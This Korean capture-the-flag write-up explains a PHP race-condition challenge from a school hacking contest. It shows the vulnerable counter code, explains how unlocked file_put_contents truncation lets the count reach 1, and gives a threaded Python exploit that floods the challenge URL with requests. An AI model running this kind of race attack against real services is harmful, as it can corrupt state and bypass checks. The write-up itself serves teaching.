2018 고등해커 (선린 교내해킹대회), Count 문제 풀이

소개

PHP로 만들어본 베이직 레이스 컨디션 챌린지다.
교내 해킹방어대회인 ‘고등해커’에 출제했다.

설명

<?php
error_reporting(0);
require_once 'flag.php';
# made by munsiwoo

if(isset($_GET['source'])) {
    show_source(__FILE__);
    exit;
}

$cnt_file = 'cnt-[rand]';

if(!file_exists($cnt_file)) {
    file_put_contents($cnt_file, '10');
}

$cnt = (int)file_get_contents($cnt_file); // read count

if($cnt == 30) {
    $cnt = 10;
}

$cnt = $cnt + 1;
file_put_contents($cnt_file, $cnt); // write count

if($cnt == 1) {
    die($flag);
}

echo $cnt;
?>
<br><a href="?source">source</a>

우선 레이스 컨디션 공격을 모르는 상태에서 코드를 읽어보면, $flag 변수 출력이 불가능하다고 생각할 것이다. 여기서 레이스 컨디션이란 한정된 리소스를 둘 이상의 프로세스가 동시에 이용하려고 경쟁하는 현상을 의미하며 이러한 현상을 이용해 공격하는 것을 레이스 컨디션 공격이라고 한다. 해당 문제는 이러한 레이스 컨디션 공격으로 $cnt 변수를 1로 만들어 플래그를 얻는 문제다. 풀이를 설명하기 앞서 PHP의 file_get_contents 함수와 file_put_contents 함수의 내부 동작 순서를 알아보자.

PHP file_get_contents, file_put_contents function

PHP에서 file_get_contents, file_put_contents 함수는 파일 입출력 함수로 fopen, fread, fwrite, fclose 등의 기존 파일 입출력 함수를 쓰기 편하게 하나로 합쳐놓은 함수다.

echo file_get_contents('foo.txt');

이렇게 file_get_contentsfoo.txt의 내용을 읽어올 수 있으며

file_put_contents('foo.txt', 'bar');

이런식으로 foo.txtbar이라는 문자를 쓸 수 있다.

file_put_contents

PHP 공식 문서에 나와있는 file_put_contents 인자를 살펴보자.

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

file_put_contents 함수에서 $flags 인자는 파일의 입출력 모드를 설정할 때 사용되는데, 보통 FILE_APPEND, FILE_APPEND | LOCK_EX 와 같은 옵션을 준다. 여기서 따로 옵션을 주지 않으면 기본 0으로 들어가는 것을 알 수 있다. /php-src/ext/standard/file.c#L592를 보면 $flags0일때의 파일 입출력 모드는 wb모드로 들어간다.

따라서 옵션을 주지않고 일반적인 형식인

file_put_contents('foo', 'bar');

형태로 사용한다면 foo 파일에 있던 기존 내용을 모두 지우고 “bar”라는 내용으로 작성된다는 얘기다.
해당 문제에서는 기존 파일 내용을 모두 비운다는 점을 이용해서 $cnt를 0으로 만들 수 있다.

Exploit

import requests
import threading
# made by munsiwoo

def request(sandbox) :
    global response
    uri = 'http://game.withphp.com/ouya/sandbox/' + sandbox
    response = requests.get(uri).text

if __name__ == '__main__' :
    sandbox = '80e30ab2318c6a531cdde54c009a54ca/'
    response = ''

    while True :
        threading.Thread(target=request, args=(sandbox,)).start()
        if(response.find('Sunrin{') != -1) : # flag format is Sunrin{...}
            print(response)
            break

    print('End')